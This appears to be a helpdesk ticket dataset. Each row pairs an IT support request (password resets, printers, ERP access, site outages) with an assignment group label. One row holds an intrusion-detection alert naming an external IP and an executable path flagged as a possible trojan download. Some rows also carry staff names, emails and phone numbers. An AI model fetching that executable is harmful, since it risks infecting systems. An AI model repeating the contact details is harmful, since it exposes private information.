is unable to pr i did a po and it received with no problem, i try to ship thru pweaver in erp and it tells me the server is unable to process the request.",GRP_18 +"skype issues - calling desk and headset // ooo my skype errors out when calling my desk phone. it calls other numbers in the building fine when i am in kqelgbis stiarhlu. also, skype headset is connected and on but doesn't work. have to switch to pc speakers to hear. ",GRP_0 +iphone : crm app install on iphone. iphone : crm app install on iphone.,GRP_0 +reset passwords for ytzpxhql ntfxgpms using password_management_tool password reset. password resets to everything but erp productio,GRP_17 +"my 2nd monitor will not display any video, it says no signal can be found. my 2nd monitor will not display any video, it says no signal can be found.",GRP_3 +reset passwords for ytzpxhql ntfxgpms using password_management_tool password reset. erp password reset needed,GRP_17 +wi- fi access to user jamhdtyes kinhytudel wi- fi access to user jamhdtyes kinhytudel,GRP_0 +"there is no connection to the erp system. we have no erp, reporting_tool, engineering tool or anything that connects to erp there is no connection to the erp system. we have no erp, reporting_tool, engineering tool or anything that connects to erp",GRP_0 +"no one at the usa facility can log onto erp. we receive an error message ""loggin balancing error"". my contact information is as follows: +",GRP_0 +"erp connection + +received from: jxgobwrm.qkugdipo@gmail.com + +i was unable to save my file in ug. keep getting error and save canceled. +rebooted and now i can't login to engineering tool + +[cid:image001.png@01SID_35986.bcd4a410] + +knethyen grechduy +engineer, product engineering +company +jxgobwrm.qkugdipo@gmail.com + +[cid:image001.jpg@01ced94a.22bd1f30] + +",GRP_0 +help. all of our systems are down. erp is down. nx is down. reporting_tool cannot connect. seems to be all users at our site help. all of our systems are down. erp is down. nx is down. reporting_tool cannot connect. seems to be all users at our site,GRP_4 +"the termination action for manuel zuehlke has completed. hello , _x000D_ +_x000D_ +a kündigung for manuel zuehlke, 21111283, effective 02.09.2016 has been approved. _x000D_ +",GRP_2 +"job Job_2668 failed in job_scheduler at: 09/28/2016 13:06:00 received from: monitoring_tool@company.com_x000D_ +_x000D_ +job Job_2668 failed in job_scheduler at: 09/28/2016 13:06:00",GRP_8 +administration tools help to install the administration tools in windows 7 os,GRP_19 +unable to attach an attachment in expense report unable to attach an attachment in expense report,GRP_0 +unable to login business_client unable to login business_client as there was no prompt to login to SID_34 account ,GRP_0 +create quote is not working in distributor_tool create quote is not working in distributor_tool,GRP_21 +unlock personal number in ess unlock personal number in ess,GRP_0 +"warehouse to's are creating with planned pgi date base on confirmed date not customer committed. we are finding warehouse to's creating with the planned pgi date based on the production confirmed date and not the committed date to the customer. this is occurring on orders with multiple schedule lines, usually created by production recommits. a good example is sales order 35994153 line 5 with to number 263520. i will be attaching a pdf copy",GRP_18 +msoffice 2016 installation msoffice 2016 installation,GRP_0 +"your prjuysva.vpbudksy@gmail.com unauthorized loggin attempt from: naveuythen dyhtruutt +sent: wednesday, september 28, 2016 4:56 pm +to: nwfodmhc exurcwkm +subject: dan fw: your prjuysva.vpbudksy@gmail.com unauthorized loggin attempt + +hi + +i am getting this mail continuously from past 15 days .... can you pls have a look into this. + + +",GRP_0 +"security clearance to view cutter and insert drawings on our web based netweaver system. security clearance to view cutter and insert drawings on our web based netweaver system._x000D_ +_x000D_ +hello it team,_x000D_ +_x000D_ +please help my team members get the proper security clearance to view cutter and insert drawings on our web based netweaver system. ",GRP_0 +"i do not get open gkad from nx9. apper appears the next message: ""nx 9 has stoped working"" a problem caused the programdnty..._x000D_ +gkad lathe & gkad4x function properly",GRP_46 +all the users from usa plant are unable to access mii all the users from usa plant are unable to access mii. they're getting an error which states that recovering webpage. the entire plant is affected.,GRP_41 +"unable to clock orders in mii. unable to clock orders in mii. multiple user's affected. + +phone: ",GRP_41 +windows password reset windows password reset,GRP_0 +"job SID_37hotf failed in job_scheduler at: 09/28/2016 10:57:00 received from: monitoring_tool@company.com_x000D_ +_x000D_ +job SID_37hotf failed in job_scheduler at: 09/28/2016 10:57:00",GRP_5 +"can you help resetting the hr_tool time clock password? the clock that you punch in your employee number, it has a maintenance mode and we forgot the password. this is done on the device and not on the pc.",GRP_2 +"missing travel privileges + +received from: uyrpdvoq.mbzevtcx@gmail.com + +hi + +i have now two open travel expenses which i can´t enter into erp + +can you you please solve it aerp + +[cid:image001.png@01SID_359a8.4942a430] + +uyrpdvoq mbzevtcx +sales manager earthworks european served area – north + +uyrpdvoq.mbzevtcx@gmail.com + +company infrastructure gmbh +geschäftsführer: phvkowml azbtkqwx und naruedlk mpvhakdq + +www.company.com< + + +",GRP_10 +"unlock user ""erp-mae"" on server HostName_1076 please help unlock the user "" erp-mae"" on server HostName_1076 at the earliest.",GRP_0 +"lost main monitor display _x000D_ +_x000D_ +received from: wlsazrce.uwehsqbk@gmail.com_x000D_ +_x000D_ +hi,_x000D_ +_x000D_ +my main monitor will not turn on. the computer has been shut down and restarted and all cable connections have been checked. can someone take a look at it? i can continue working off of the secondary monitor, it is just an inconvenience._x000D_ +_x000D_ +",GRP_3 +"engineering tool client - unable to launch stopped responding error_x000D_ +multiple programdnty shortcuts exist on his desktop for engineering_tool, and none of them work._x000D_ +password has expired as well as the aiqjxhuv dceghpwn runtime software is missing from the pc_x000D_ +",GRP_0 +unable to sign in to outlook 2010 after password change unable to sign in to outlook 2010 after password change,GRP_0 +"ticketing_tool ticket + +received from: wkqjcfgy.vsknlfri@gmail.com + +i need to get crm loaded on my outlook. +i'm currently using the web crm version. + +wkqjcfgy vsknlfri +metalworking sales engineer +company inc. + +wkqjcfgy.vsknlfri@gmail.com +technical support: + + + + +",GRP_0 +websites not loading on company center companycenter.company.com,GRP_0 +"acct 81910520 was set up to get one monthly inwarehouse_tool but they are getting multiple inwarehouse_tools. +SID_34 - account 81910520 - smhdyhti tool was set up as zm combined monthly billing. for july & august they received multiple inwarehouse_tools. see attached. ",GRP_13 +"open order book problem (( back order )) - access we are having a problem back order report paramdntyeter in access. _x000D_ +((open order book))",GRP_13 +"erp SID_34 password reset name:mfeyouli ndobtzpw_x000D_ +language:_x000D_ +browser:microsoft internet explorer_x000D_ +email:mfeyouli.ndobtzpw@gmail.com_x000D_ +customer number:_x000D_ +telephone:5245861556_x000D_ +summary:can you unlock haunm erp SID_34 account, he seems to get locked out everytime he tries to log in",GRP_0 +erp SID_34 password locked erp SID_34 password locked,GRP_0 +update on ticket_no0443915 update on ticket_no0443915,GRP_0 +printer asking to update driver printer asking to update driver,GRP_0 +erp SID_9 password reset erp SID_9 password reset,GRP_0 +ticket update on ticket_no0443915 ticket update on ticket_no0443915,GRP_0 +etime visibility on hr_tool hi all. had this issue a month ago and was told to delete my browsing history. i did and access was restored. i routinely clear my browsing history but today cannot view etime. see attached screen shot.,GRP_0 +unable to send skype meeting invitation. unable to send skype meeting invitation.,GRP_0 +ughzilfm cfibdamq called requesting for the appreciate hub link ughzilfm cfibdamq called requesting for the appreciate hub link,GRP_0 +windows account locked windows account locked,GRP_0 +probleme mit ie \niptbwdq csenjruz probleme mit ie \niptbwdq csenjruz,GRP_24 + wanted to know if the account of pathuick stope is still active. wanted to know if the account of pathuick stope is still active.,GRP_0 +"can no longer print to tc 47. i am no longer able to print to tc47. i must install a driver for this and i am not sure how. i used to be able to print to tc47 without an issue, and for some reason i am no longer able to.",GRP_0 +analysis add in does not show up. analysis add in does not show up.,GRP_0 +s1 to k1 for hcuixqgj mavxgqbs s1 to k1 for hcuixqgj mavxgqbs,GRP_34 +install we03 \ewew8323601 \acqpinyd ecygimqd install we03 \ewew8323601 \acqpinyd ecygimqd,GRP_24 +probleme mit portal \acqpinyd ecygimqd probleme mit portal \acqpinyd ecygimqd,GRP_24 +hcuixqgj.mavxgqbs@gmail.com password reset hcuixqgj.mavxgqbs@gmail.com password reset,GRP_0 +probleme mit portal .\hcuixqgj mavxgqbs probleme mit portal .\hcuixqgj mavxgqbs,GRP_24 +hr_tool etime not loading hr_tool etime not loading,GRP_0 +"please delete the attached series of meetings meeting was scheduled by a former employee_x000D_ +_x000D_ +organizer: panjkytr mehrota_x000D_ +_x000D_ +subject: fw: nextgen kentip mfg._x000D_ +_x000D_ +details:_x000D_ +_x000D_ +from: panjkytr mehrotra _x000D_ +sent: wednesday, march 09, 2016 11:30 am_x000D_ +to: panjkytr mehrotra; ohljvzpn phwdxqev; fabijhsd ocsnugeh; ksvlowjd ptyzxscl; nwgcbfdt ahmbnsoi; aditya choragudi; gotbumak ymdqokfp; cyxieuwk rekwlqmu; ruy frota; estaxpnz mqhrvjkd; vipqmdse zkaowfrx; jhwgydeb ufiatosg; ynlqrebs hwfoqjdu; doug harman; ejvkzobl yijgokrn; frmyejbx weclfnhx; cltszugw tgzbklec; gdxujefz egnwtvch; raouf benamor; lpnzjimdghtyy mwtvondq; lwguyibh nqepkugo; knqmscrw sdtoezjb; arjpdohf mrqwdtil_x000D_ +subject: nextgen kentip mfg._x000D_ +when: occurs every wednesday effective 3/16/2016 until 12/14/2016 from 9:00 am to 10:00 am (utc-05:00) eastern time (us & canada)._x000D_ +where: _mccoy_18_x000D_ +",GRP_26 +"job Job_1129conf_s failed in job_scheduler at: 09/28/2016 08:40:00 received from: monitoring_tool@company.com_x000D_ +_x000D_ +job Job_1129conf_s failed in job_scheduler at: 09/28/2016 08:40:00",GRP_9 +"whenever pc is turned on it shows a bluescreen. but then works. whenever pc is turned on it shows a blue screen. but then works._x000D_ +keith suspects the cache is causing it.",GRP_0 +unable to find network drives after password reset unable to find network drives after password reset ,GRP_0 +"vip 2 // issue with monitor display name : stdezpqw bkmeuhfz_x000D_ +email : stdezpqw.bkmeuhfz@gmail.com_x000D_ +telephone : 724-539-5191_x000D_ +summary : my 2nd monitor is no longer operating as the 2nd display. my office was re-arranged yesterday & when i moved the monitor to the right location it stopped displaying the content & only shows a dell window with ""self uacyltoe hxgaycze feature check"" & red, gtehdnyu, blue & white bars beneath that message. couldn't activate through control panel",GRP_3 +account locked account locked,GRP_0 +"configair server in SID_1 uacyltoe hxgaycze environment not working properly - please restart the server mill_model model in SID_1 is not working correctly while starting the configuration proces from scratch. it does not run through the procedures we created to default characteristic values based on selected product platform._x000D_ +please restart the server as i have an important training session to amerirtcas cas team at 3pm cest (my time today) - which is 40 min from now.",GRP_14 +"password issue. hi,_x000D_ +_x000D_ +mr. indra kurtyar a is not able to log in due to password issue. _x000D_ +_x000D_ +kindly provide new password to the person._x000D_ +_x000D_ +name: mr. indra kurtyar a_x000D_ +i. no 202961_x000D_ +user id : vvrajai_x000D_ +email : indrakurtyar .rajanna@company.com_x000D_ +_x000D_ +best ",GRP_0 +lese und schreibberechtigung für HostName_753\produktion lese und schreibberechtigung für HostName_753\produktion,GRP_34 +"modify quote performance model the model and field [pk_publish_pk_otc_quotes_zcae_quote_performance_s].[value_raw_doc_curr_qt] sees to be rounding. see attached screenshot - converted to usd for that sample quote is 211.30, but the value in lc is 211.00.... but the currency for the document is in usd so these two fields should match.",GRP_9 +unable to connect to company secure unable to connect to company secure,GRP_0 +please upgrade tom and karghyuens office to the newest please upgrade tom and karghyuen's office to the newest,GRP_3 +"erp SID_34 password reset please reset my password, not sure why mine giving problems?_x000D_ +_x000D_ +_x000D_ +",GRP_0 +laptop is getting a power supply not sufficient warning on boot up when docked. laptop is getting a power supply not sufficient warning on boot up when docked.,GRP_3 +"zlz agreements 4111244546 + 4111337261 don´t create a planning demand _x000D_ +_x000D_ +received from: qbewrpfu.lwibmxzo@gmail.com_x000D_ +_x000D_ +hello help,_x000D_ +_x000D_ +_x000D_ +_x000D_ +the zlz agreement 4111244546 is shown in md04 as demand, but the is no po for the production plant._x000D_ +_x000D_ +the zlz agreement 4111337261 is not shown as demand in md04._x000D_ +_x000D_ +maybe it is a problem with the material type?_x000D_ +_x000D_ +_x000D_ +_x000D_ +_x000D_ +_x000D_ +mit freundlichen grüßen / best ",GRP_13 +ughzilfm cfibdamq called in to reset password for zlnfpuam aktplhre ughzilfm cfibdamq called in to reset password for zlnfpuam aktplhre,GRP_0 +"drucker vh77 und vh79 funktionieren nicht. ticket bitte an edv germany hr. wurdack/ steinich _x000D_ + • printer name / make - model? (ex hq50 – wy98 - hp 8150) _x000D_ + hp laser jet_x000D_ + • detailed description of the problem ?_x000D_ +druckauftrag wir nicht ausgeführt_x000D_ +_x000D_ + • type of documents not printing? (email – excel – word…etc) _x000D_ + _x000D_ +_x000D_ + • what system or application being used at time of the problem? (ex windows / erp /kls)_x000D_ +_x000D_ + • if not printing at all, does it respond to a ping command on the network and has a power cycle of the printer been completed?_x000D_ +_x000D_ + • if erp system, which system? (ex SID_34 / SID_38 / hrp / plm)_x000D_ +_x000D_ + • if it's an erp printer problem can the erp output be rerouted to another erp printer temporarily?_x000D_ + what printer can it be rerouted too? _x000D_ +_x000D_ + • if document is not printing correctly, please scan copy of the document and attach to the ticketing_tool ticket.",GRP_33 +outlook not working outlook not working ,GRP_0 +outlook not working outlook not working ,GRP_0 +"user- moblews forgotten his telephony_software password user- moblews forgotten his telephony_software password_x000D_ +schtrtgoyht mobley_x000D_ +",GRP_7 +"pc eemw8144241 einrichten damit der barcode angezeigt und man ihm drucken kann pc eemw8144241 einrichten damit der barcode angezeigt und man ihm drucken kann_x000D_ +ebs büro a. dicker",GRP_42 +"hsh _x000D_ +_x000D_ +received from: aksthyuhath.shettythruy@company.com_x000D_ +_x000D_ +hi,_x000D_ +_x000D_ +please reset the password of mr. aqihfoly xsrkthvf._x000D_ +_x000D_ +emp no_x000D_ +_x000D_ +name_x000D_ +_x000D_ +useid_x000D_ +_x000D_ +manager_x000D_ +_x000D_ +200709_x000D_ +_x000D_ +aqihfoly xsrkthvf_x000D_ +_x000D_ +hsh_x000D_ +_x000D_ +panghyiraj shthuihog_x000D_ +_x000D_ +_x000D_ +fyi._x000D_ +[cid:image001.png@01SID_359a4.8f856260]_x000D_ +_x000D_ +_x000D_ +with ",GRP_0 +ordnerfreigabe für m: kvp3 und ce_leiter ordnerfreigabe für m: kvp3 und ce_leiter,GRP_34 +"job Job_593 failed in job_scheduler at: 09/28/2016 06:35:00 received from: monitoring_tool@company.com_x000D_ +_x000D_ +job Job_593 failed in job_scheduler at: 09/28/2016 06:35:00",GRP_8 +wifi is not working. wifi is not working.,GRP_0 +"please give me administration permission for my user id:reddakv please give me administration permission for my user id:reddakv_x000D_ +we need to install our team basic applications and software`s.",GRP_19 +"org 1314 - inwarehouse_tool 0159108935 issue the inwarehouse_tool printed output is not complete ie. item no, quantity, unit price and total amount are dierppear. _x000D_ +attached delviery note and inwarehouse_tool are for your information._x000D_ +please help fix this issue and advise back to us aerp., ",GRP_13 +"org 1314 : inwarehouse_tool# 0159108934 issue refer to this inwarehouse_tool no. 0159108934 , the printed inwarehouse_tool is not complete ie. the line item no 60 , quanttiy, unit price and tootal amount are dierppear. also, the total inwarehouse_tool amount is not correct. the attached are related delivery note and inwarehouse_tool as for your information. please help fix this issue and inform us aerp., ",GRP_13 +"please restart the SID_56 server today 8pm est hello team,_x000D_ +_x000D_ +java changes are moved to production but unfortunately db changes were not moved, so we request you please restart the SID_56 server to reflected dba changes in production.",GRP_21 +"incorrect logo is been displayed on distributor_tool incorrect logo is been displayed on distributor_tool._x000D_ +logo changes was requested with the ticket ticket_no1475338. logo changes were done and moved to qa.since there was one file which was dependent with other ticket and logo changes file were moved along with other ticket where requestor does not want the logo changes now.",GRP_21 +"viewer for step files _x000D_ +_x000D_ +received from: azyfsrqh.wkavqigu@gmail.com_x000D_ +_x000D_ +hello,_x000D_ +_x000D_ +i need an viewer at my computer to check step files._x000D_ +_x000D_ +mit freundlichen grüssen,_x000D_ +with best ",GRP_0 +setup new ws \zlnfpuam aktplhre setup new ws \zlnfpuam aktplhre,GRP_24 +"erp purchasing access issue user kgueyiwp cjlonvme (helmu) system (SID_34, SID_37, SID_39, SID_38, hrp, other ?): purchasing portal (mycompany.company.com/irj/portal)_x000D_ +_x000D_ +enter user id of user having the issue: helmu _x000D_ +_x000D_ +_x000D_ +describe the issue: action could not be performed! the attribudes of the user are inconsistent or not defined. see transaction ppoma_ppb._x000D_ +(attached screen shot)_x000D_ +_x000D_ +_x000D_ +",GRP_29 +"power outage : vogelfontein sa site hard down since 04:53 am et on 09/28. what type of outage: ___x__network _____circuit _____power (please specify what type of outage)_x000D_ +_x000D_ +1. top 23 cert site ? ___no______ (yes/no/na) _x000D_ +_x000D_ +2. when did it start ? _______04:53 am et on 09/28._______________x000D_ +_x000D_ +3. scheduled maintenance ( power) ? ___no____ (yes/no/na) company power _________ provider power __________x000D_ + _x000D_ +4. scheduled maintenance ( network) ? ___no____ (yes/no/na) company maint________ (yes/no) provider maint/ticket #__________________ _x000D_ +_x000D_ +5. does site have a backup circuit ? ___yes___ (yes/no/na) _x000D_ +_x000D_ +6. backup circuit active ? ___no____ (yes/no/na) _x000D_ +_x000D_ +7. site contact notified (phone/email) ? _____no____ (yes/no/na) _x000D_ +_x000D_ +8. remote dial-in ? ___________ (yes/no/na) _x000D_ +_x000D_ +9. equipment reset ? ___________ (yes/no/na) _x000D_ +_x000D_ +10. verified site working on backup circuit ? _______ (yes/no/na) _x000D_ +_x000D_ +11. vendor ticket # ( global_telecom_1, verizon, telecom_vendor_1, telecom_vendor_2 ) _________________________ _x000D_ +_x000D_ +12. notified gsc ________ (yes/no/na) cert started ?________ (yes/no/na) _x000D_ +_x000D_ +13. additional diagnostics",GRP_8 +drucker em06 im auslieferbereich. immer den gleichen lieferschein 10 mal. danach wird erst der richtige ausgedruckt. drucker em06 im auslieferbereich. immer den gleichen lieferschein 10 mal. danach wird erst der richtige ausgedruckt. erp problem,GRP_0 +"fqhlvcxn zdfymgjp wants to share the file fqhlvcxn zdfymgjp.pdf with you _x000D_ +_x000D_ +received from: fqhlvcxn.zdfymgjp@gmail.com_x000D_ +_x000D_ +to view fqhlvcxn zdfymgjp.pdf, sign in<_x000D_ +_x000D_ +_x000D_ +???????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????_x000D_ +[#+company/posts> [_x000D_ +select the following link to view the disclaimer in an alternate language. ",GRP_0 +"pls check erp SID_34 account of vvgraec - she is not able to sign on anymore pls check erp account of vvgraec - she is not able to sign on anymore, pls see attachment._x000D_ +",GRP_2 +"??????????????????? _x000D_ +_x000D_ +received from: yzbjhmpw.vzrulkog@gmail.com_x000D_ +_x000D_ +[cid:image001.png@01SID_35974.fdbf2930]_x000D_ +_x000D_ +_x000D_ +_x000D_ +_x000D_ +_x000D_ +mit freundlichem gruß_x000D_ +_x000D_ +ulrike aßmann_x000D_ +custom solutions engineering europe drilling&countersinking_x000D_ +yzbjhmpw.vzrulkog@gmail.com_x000D_ +t:+49-911-0846609_x000D_ +f:+49-911-0846631_x000D_ +_x000D_ +company shared services gmbh, wehlauer strasse 73, d-90766 fürth, www.company.com<_x000D_ +_x000D_ +company shared services gmbh_x000D_ +geschäftsführer: phvkowml azbtkqwx, naruedlk mpvhakdq_x000D_ +sitz der gesellschaft: fürth/bay. - registergerirtcht: fürth/bay. hrb 10171_x000D_ +_x000D_ +_x000D_ +_x000D_ +diese mitteilung ist einzig und allein für die nutzung durch den adressaten bestimmt und kann informationen enthalten, die schutzwürdig, vertraulich oder nach geltendem recht von der offenlegung ausgenommen sind. die verbreitung, verteilung oder vervielfältigung dieser mitteilung durch personen, bei denen es sich nicht um die beabsichtigten empfänger handelt, ist streng verboten. wenn diese mitteilung aufgrund eines versehens bei ihnen eingegangen ist, dann benachrichtigen sie bitte den absender und löschen sie diese mitteilung._x000D_ +[#+company/posts> [_x000D_ +select the following link to view the disclaimer in an alternate language. ",GRP_0 +"url portal not functioning _x000D_ +_x000D_ +received from: cxltnjuk.hkdefraw@gmail.com_x000D_ +_x000D_ +dear sir,_x000D_ +_x000D_ +mycompany.company.com site not functioning for applying leave. kindly support._x000D_ +_x000D_ +_x000D_ +",GRP_0 +HostName_66 : volume: f:\ label:dat1-HostName_66 9a625d75 is over 85% space consumed. space available: 1.27 m HostName_66 : volume: f:\ label:dat1-HostName_66 9a625d75 is over 85% space consumed. space available: 1.27 m,GRP_12 +"security incidents - ( #in33987594) : 29866 vid22518 bare http get executable from ip address (possible downloader) source ip :_x000D_ +system name :_x000D_ +user name:_x000D_ +location :_x000D_ +sep , sms status :_x000D_ +field sales user ( yes / no) : _x000D_ +dsw event log:_x000D_ +-------------------------------------------------------------------------------------------------------------------_x000D_ +event detail(s):_x000D_ +_x000D_ +event_id 417013204:_x000D_ +[**] [1:21130977:10] 29866 vid22518 bare http get executable from ip address (possible downloader trojan) [**]_x000D_ +[classification: none] [priority: 2] [action: accept_passive] [impact_flag: 0] [impact: 0] [blocked: 2] [vlan: 0] [mpls label: 0] [pad2: 1]_x000D_ +[sensor id: 602982][event id: 281895][time: 2585087487.272206]_x000D_ +[xref => vid, 22518]_x000D_ +[src ip: 10.1.43.79][dst ip: 94.102.53.238][sport/itype: 61007][dport/icode: 80][proto: 6]_x000D_ +09/27/2016-11:39:36.272206 10.1.43.79:61007 -> 94.102.53.238:80_x000D_ +tcp ttl:127 tos:0x0 id:16297 iplen:20 dgmlen:119 df_x000D_ +***ap*** seq: 0xfbc9dc8c ack: 0xe57c9433 win: 0x102 tcplen: 20_x000D_ +==pcap s==_x000D_ +=0c=00=00=00xz=eawn'=04=00w=00=00=00w=00=00=00e=00=00w?=a9@=00=7f=06=f23=0a=01+o^f5=ee=eeo=00p=fb=c9=dc=8c=e5|=943p=18=01=02=d4=3d=00=00get /~yahoo/csrsv.exe http/1.1=0d=0ahost: 94.102.53.238=0d=0aconnection: keep-alive=0d=0a=0d=0a_x000D_ +==pcap e==_x000D_ +_x000D_ +_x000D_ +[ex http_uri 9: /~yahoo/csrsv.exe]_x000D_ +_x000D_ +[ex http_hostname 10: 94.102.53.238]_x000D_ +_x000D_ +[o:security]_x000D_ +_x000D_ +[correlation_data]_x000D_ +sep 27 06:01:47 71.80.15.0714 dhcpd[12774]: dhcpack on 10.1.43.79 to c4:8e:8f:f6:4a:e5 (lhql8516405) via eth1 relay 10.1.40.8 lease-duration 14400 (renew)_x000D_ +_x000D_ +lowercaseurlcorrelation : /~yahoo/csrsv.exe_x000D_ +srcip : 10.1.43.79_x000D_ +urlcorrelation : /~yahoo/csrsv.exe_x000D_ +vendorreference : vid, 22518_x000D_ +foreseeconndirection : outgoing_x000D_ +refererproxycorrelationurl : null_x000D_ +foreseeexternalip : 94.102.53.238_x000D_ +eventtypeid : 200020003203113798_x000D_ +unique_event_hash : 946134710_x000D_ +ontologyid : 200020003203728796_x000D_ +foreseeinternalip : 10.1.43.79_x000D_ +urlpath : /~yahoo/csrsv.exe_x000D_ +srchostname : lhql8516405_x000D_ +inspectorruleid : 277082_x000D_ +inspectoreventid : 077564517_x000D_ +httpmethod : get_x000D_ +netacuity_destination_organization : ecatel ltd_x000D_ +vendoreventid : 281895_x000D_ +device_id : 2550522_x000D_ +foreseemaliciousprobability : 0.0846984_x000D_ +event_summary : 29866 vid22518 bare http get executable from ip address (possible downloader trojan)_x000D_ +tcpflags : ***ap***_x000D_ +agentid : 102805_x000D_ +srchostname : lhql8516405_x000D_ +cvss : -1_x000D_ +foreseedstipgeo : den dolder,nld_x000D_ +devip : 10.32.100.17_x000D_ +inlineaction : 2_x000D_ +proto : tcp_x000D_ +dstport : 80_x000D_ +vendorpriority : 2_x000D_ +ileatdatacenter : true_x000D_ +vendorsigid : 29866_x000D_ +srcport : 61007_x000D_ +globalproxycorrelationurl : csrsv7_x000D_ +host : 94.102.53.238_x000D_ +dstip : 94.102.53.238_x000D_ +source_network_type : internal_x000D_ +url : 94.102.53.238/~yahoo/csrsv.exe_x000D_ +urlfullpath : /~yahoo/csrsv.exe_x000D_ +urlhost : 94.102.53.238_x000D_ +irreceivedtime : 1474976715927_x000D_ +action : not blocked_x000D_ +ctainstanceid : 0_x000D_ +vendorversion : 7_x000D_ +httpversion : http/1.1_x000D_ +logtimestamp : 2585087487_x000D_ +foreseemaliciouscomment : negativeevaluationthreshold:0.0181;positiveevaluationthreshold:1;modelversion:854922;classifiertype:naivebayes;annotatorlist:action-not blocked->0.7719~0.8136|eventtypeid-200020003203113798->0.0005~0.0001|ontologyid-200020003203728796->0.0005~0.0001;evaluationmodels->nb-global-model:0.9736:0.0181;_x000D_ +netacuity_destination_isp : ecatel ltd_x000D_ +device_network_type : internal_x000D_ +srcmacaddress : c4:8e:8f:f6:4a:e5_x000D_ +sherlockruleid : 690393_x000D_ +eventtypepriority : 3",GRP_3 +"HostName_1379 : volume: c:\ label:sys-HostName_1379 28385a7b is over 85% space consumed. space available: 3.7 g HostName_1379 : volume: c:\ label:sys-HostName_1379 28385a7b is over _x000D_ +85% space consumed. space available: 3.7 g",GRP_8 +hp2热压炉数据传输卡，数据更新不出来，请帮我转给小贺 hp2热压炉数据传输卡，数据更新不出来，请帮我转给小贺,GRP_30 +zpononpo mp's data is incorrect. zpononpo mp's data is incorrect.,GRP_9 +"job Job_2645 failed in job_scheduler at: 09/28/2016 03:35:00 received from: monitoring_tool@company.com_x000D_ +_x000D_ +job Job_2645 failed in job_scheduler at: 09/28/2016 03:35:00",GRP_6 +"question - who is taking care on report zzsdspc7? i've realised that 1,131 not needed customer stock buckets are not needed._x000D_ +the customer order are already completed but the stock is reserved for these orders._x000D_ +therefore stock will sit there for ever._x000D_ +_x000D_ +would you please address to the people responsible._x000D_ +that would allow us to reduce stock level._x000D_ +",GRP_54 +"user creation and deletion on droracle , HostName_1317 and HostName_1316 create users : 1. unix team 2. user with sudo privileges for trayton and neal._x000D_ +server : droracle _x000D_ +_x000D_ +_x000D_ +_x000D_ +delete users : 1. markhty snyder 2. gptmrqzu muiqteyf 3. pollaurid griener _x000D_ +server : HostName_1317 , HostName_1316 , droracle _x000D_ +",GRP_47 +"not able to upload the engineering_tool with any or the vpn or vpn _x000D_ +_x000D_ +received from: nmqgrkex.ldeizfrm@gmail.com_x000D_ +_x000D_ +[cid:image001.jpg@01SID_35982.4b39fca0]_x000D_ +_x000D_ +",GRP_0 +"passwort frau koburvmc jwzlebap #51117 _x000D_ +_x000D_ +received from: mobaidfx.gviwlsrm@gmail.com_x000D_ +_x000D_ +hallo,_x000D_ +_x000D_ +frau rieß wird ab dienstag, 4. oktober wieder ihre arbeit beginnen._x000D_ +_x000D_ +bitte passwort neu vergeben._x000D_ +_x000D_ +frau rieß wird voraussichtlich von 8.00 bis 10.00 uhr im büro erreichbar sein._x000D_ +_x000D_ +mit freundlichen grüßen / best ",GRP_0 +"bridgex from lacw8515941 - monitoring_tool robot transaction down bridgex from lacw8515941 - monitoring_tool robot transaction down_x000D_ +_x000D_ +""copy of netperfmon event log : transaction 'bridgex from lacw8515941' is down. reason: step 'uploading excel file step 2' failed: element 'file upload field' was not found"" action was executed successfully _x000D_ +_x000D_ +_x000D_ +hi team,_x000D_ +_x000D_ +we got the above alert in monitoring_tool, checked with basis team and there is no issues from their side._x000D_ +_x000D_ +",GRP_60 +"both the numbers for gso are not working. both the numbers for gso are not working._x000D_ +germany : (49) 6003-827-7333_x000D_ +usa : (1) 724-539-5226 or 800-848-1135 _x000D_ +_x000D_ +calls are landing on the phones but caller can not hear anything._x000D_ +communication is one way. (agent can hear but not caller)",GRP_7 +"network outage : kingston pa site is down since 2:10 am et on 09/28. what type of outage: _x____network _____circuit _____power (please specify what type of outage)_x000D_ +_x000D_ +1. top 23 cert site ? _____no____ (yes/no/na) _x000D_ +_x000D_ +2. when did it start ? _________2:10 am et on 09/28._____________x000D_ +_x000D_ +3. scheduled maintenance ( power) ? ____no___ (yes/no/na) company power _________ provider power __________x000D_ + _x000D_ +4. scheduled maintenance ( network) ? __no_____ (yes/no/na) company maint________ (yes/no) provider maint/ticket #__________________ _x000D_ +_x000D_ +5. does site have a backup circuit ? ___no___ (yes/no/na) _x000D_ +_x000D_ +6. backup circuit active ? ___na_____ (yes/no/na) _x000D_ +_x000D_ +7. site contact notified (phone/email) ? _____noi____ (yes/no/na) _x000D_ +_x000D_ +8. remote dial-in ? ___________ (yes/no/na) _x000D_ +_x000D_ +9. equipment reset ? ___________ (yes/no/na) _x000D_ +_x000D_ +10. verified site working on backup circuit ? _______ (yes/no/na) _x000D_ +_x000D_ +11. vendor ticket # ( global_telecom_1, verizon, telecom_vendor_1, telecom_vendor_2 ) _________________________ _x000D_ +_x000D_ +12. notified gsc ________ (yes/no/na) cert started ?________ (yes/no/na) _x000D_ +_x000D_ +13. additional diagnostics",GRP_8 +"printer prtsg004 _x000D_ +_x000D_ +received from: bcxpeuko.utorqehx@gmail.com_x000D_ +_x000D_ +hello team,_x000D_ +please help me to confirm printer prtsg004 as we are not able to configure from our side._x000D_ +_x000D_ +",GRP_0 +"erp access issue p 11, passwort zurück setzen system (SID_34, SID_37, SID_39, SID_38, hrp, other ?): p 11_x000D_ +_x000D_ +enter user id of user having the issue: reisenkostenabrechnung nicht möglich, da zu viele falsche anmeldungen, bitte passwort zurück setzen. danke _x000D_ +_x000D_ +transaction code(s) the user needs or was working with:_x000D_ +_x000D_ +describe the issue:_x000D_ +_x000D_ +if you are getting a ""not authorized"" message, recreate the condition then do /nsu53 and attach result to the ticketing_tool ticket._x000D_ +_x000D_ +provide access the same as this other user:",GRP_2 +reactivate ruenzm - it is our ceo (usa - deloro group) - it is urgent reactivate ruenzm - it is our ceo (usa - deloro group) - it is urgent,GRP_2 +"outlook - indizierung ich kann seit ca. 1 woche meine suche im outlook nicht verwenden, da der hinweis ""ihre elemente werden zurzeit von outlook indiziert"" erscheint._x000D_ +habe auch meinen pc, mit geöffnetem outlook, übers wochenende laufen lassen, doch bisher immer das gleiche._x000D_ +aktuell müssen noch 10.809 elemente indiziert werden._x000D_ +gestern waren es ca. 2.500 elemente._x000D_ +ich habe somit massive probleme, da ich mails von vor einem jahr bis jetzt mit der suchfunkton nicht finden kann.",GRP_0 +unlock erp account (user id: murakt) please unlock my erp account (user id: murakt),GRP_0 +"job Job_3186 failed in job_scheduler at: 